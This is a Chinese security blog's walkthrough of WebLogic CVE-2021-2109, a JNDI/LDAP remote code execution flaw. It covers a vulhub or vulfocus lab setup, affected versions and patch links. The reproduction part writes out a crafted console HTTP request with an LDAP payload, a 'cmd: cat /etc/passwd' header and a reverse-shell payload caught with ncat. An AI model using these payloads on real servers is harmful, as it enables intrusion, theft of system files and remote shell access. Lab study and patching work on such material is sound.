某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • Web应用程序

    • 74cms

    • Alibaba Druid

    • Alibaba Nacos

    • Apache Airflow

    • GoCD

    • Jboss

    • jenkins

    • joomla

    • thinkphp

    • vmware

    • weblogic

      • weblogic-cve-2021-2109
    • 云漏洞库

    • 漏洞库
    • Web应用程序
    • weblogic
    carsaid
    2023-10-11
    目录

    weblogic-cve-2021-2109

    # 💔 Weblogic LDAP 远程代码执行

    # 1)漏洞信息

    漏洞名称 受影响组件 漏洞类型 漏洞编号
    Weblogic LDAP 远程代码执行 Weblogic (opens new window) 远程代码执行 CVE-2021-2109
    漏洞简介
    Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

    影响版本:

    WebLogic 10.3.6.0.0
    WebLogic 12.1.3.0.0
    WebLogic 12.2.1.3.0
    WebLogic 12.2.1.4.0
    WebLogic 14.1.1.0.0
    参考链接
    1. http://wiki.peiqi.tech/wiki/webserver/Weblogic/Weblogic%20LDAP%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2021-2109.html
    2. https://cloud.tencent.com/developer/article/1797518
    补丁及修复方案
    1. 升级Weblogic Server运行环境的JDK版本
    2. 升级官方安全补丁:https://www.oracle.com/security-alerts/cpujan2021.html

    # 漏洞环境

    # 方案一

    使用vulhub (opens new window)搭建漏洞环境(14882的环境同样适用于CVE-2021-2109)

    git clone https://github.com/vulhub/vulhub
    cd vulhub/weblogic/CVE-2020-14882
    docker-compose up -d
    
    1
    2
    3

    访问7001端口,可以看到以下页面(还需要等待一会,因为weblogic需要加载console控制台)

    # 方案二

    使用vulfocus (opens new window)搭建漏洞环境

    docker pull vulfocus/weblogic-cve_2021_2109
    docker run -itd -p 7001:7001 vulfocus/weblogic-cve_2021_2109
    
    1
    2

    访问控制台页面,进行登录

    • 账号:weblogic
    • 密码:welcome1

    # 漏洞复现

    python3 vulcat.py -u <URL> -a weblogic -v cve-2021-2109
    
    # 注意, vulcat-v2.0.0版本及以上, 应使用以下命令
    python3 vulcat.py -u <URL> -v cve-2021-2109
    
    1
    2
    3
    4

    在DNSLOG平台可以看到相应记录

    如果想进一步利用漏洞,需要下载辅助工具:https://github.com/WhiteHSBG/JNDIExploit/

    运行JNDIExploit(需要提前安装java环境)

    • 使用-i选项指定本地IP
    • 默认监听1389和3456端口
    java -jar JNDIExploit-1.4-SNAPSHOT.jar -i <IP>
    
    1

    运行JNDIExploit之后

    • 复制漏洞信息中的Request数据包
    • 放入Burp,修改LDAP的IP地址
    GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.80;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
    Host: 192.168.80.132:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Referer: http://192.168.80.132:7001
    Origin: http://192.168.80.132:7001
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ldap://192.168.80;1:1389/Basic/WeblogicEcho
    
    1

    此处需要注意,CVE-2021-2109有一个特性

    • IP的最后一个.需要改为分号;
    • 例如 192.168.1.1 --> 192.168.1;1

    在Burp发送数据包之后,回到命令行,可以看到返回了记录

    • 说明LDAP成功
    GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.80;1:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
    Host: 192.168.80.132:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Referer: http://192.168.80.132:7001
    Origin: http://192.168.80.132:7001
    cmd: cat /etc/passwd
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    此时如果你想执行自定义命令,并获得回显

    • 只需要在数据包中添加一个Headers
    • cmd: 你的命令
    • 如图
    • vulfocus: 由于vulfocus的镜像无法通过漏洞 绕过登录页面进后台 所以需要提前登录,并在扫描时添加Cookie

    # 额外内容-反弹shell

    JNDIExploit (opens new window)还支持反弹shell的功能

    • 在一台Linux机器上运行ncat,如图
    • 必须是Linux机器,Windows运行ncat无法获取反弹回来的shell(工具介绍是这样说的,复现时经过实验也发现Windows不行)

    然后发送Payload

    • 我的JNDIExploit.jar运行在192.168.80.1,端口1389
    • ncat运行在192.168.80.132,端口12000
    ldap://<你的JNDI>/Basic/ReverseShell/<IP>/<PORT>
    
    # 示例:
    ldap://192.168.80;1:1389/Basic/ReverseShell/192.168.80.132/12000
    
    1
    2
    3
    4

    回到ncat终端,可以看到已经返回了shell

    编辑 (opens new window)
    thinkphp-cnvd-2018-24942
    Bucket任意文件上传

    ← thinkphp-cnvd-2018-24942 Bucket任意文件上传→

    最近更新
    01
    API测试笔记
    04-30
    02
    msfvenom
    03-29
    03
    Metasploit
    03-29
    更多文章>
    Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
    • 跟随系统
    • 浅色模式
    • 深色模式
    • 阅读模式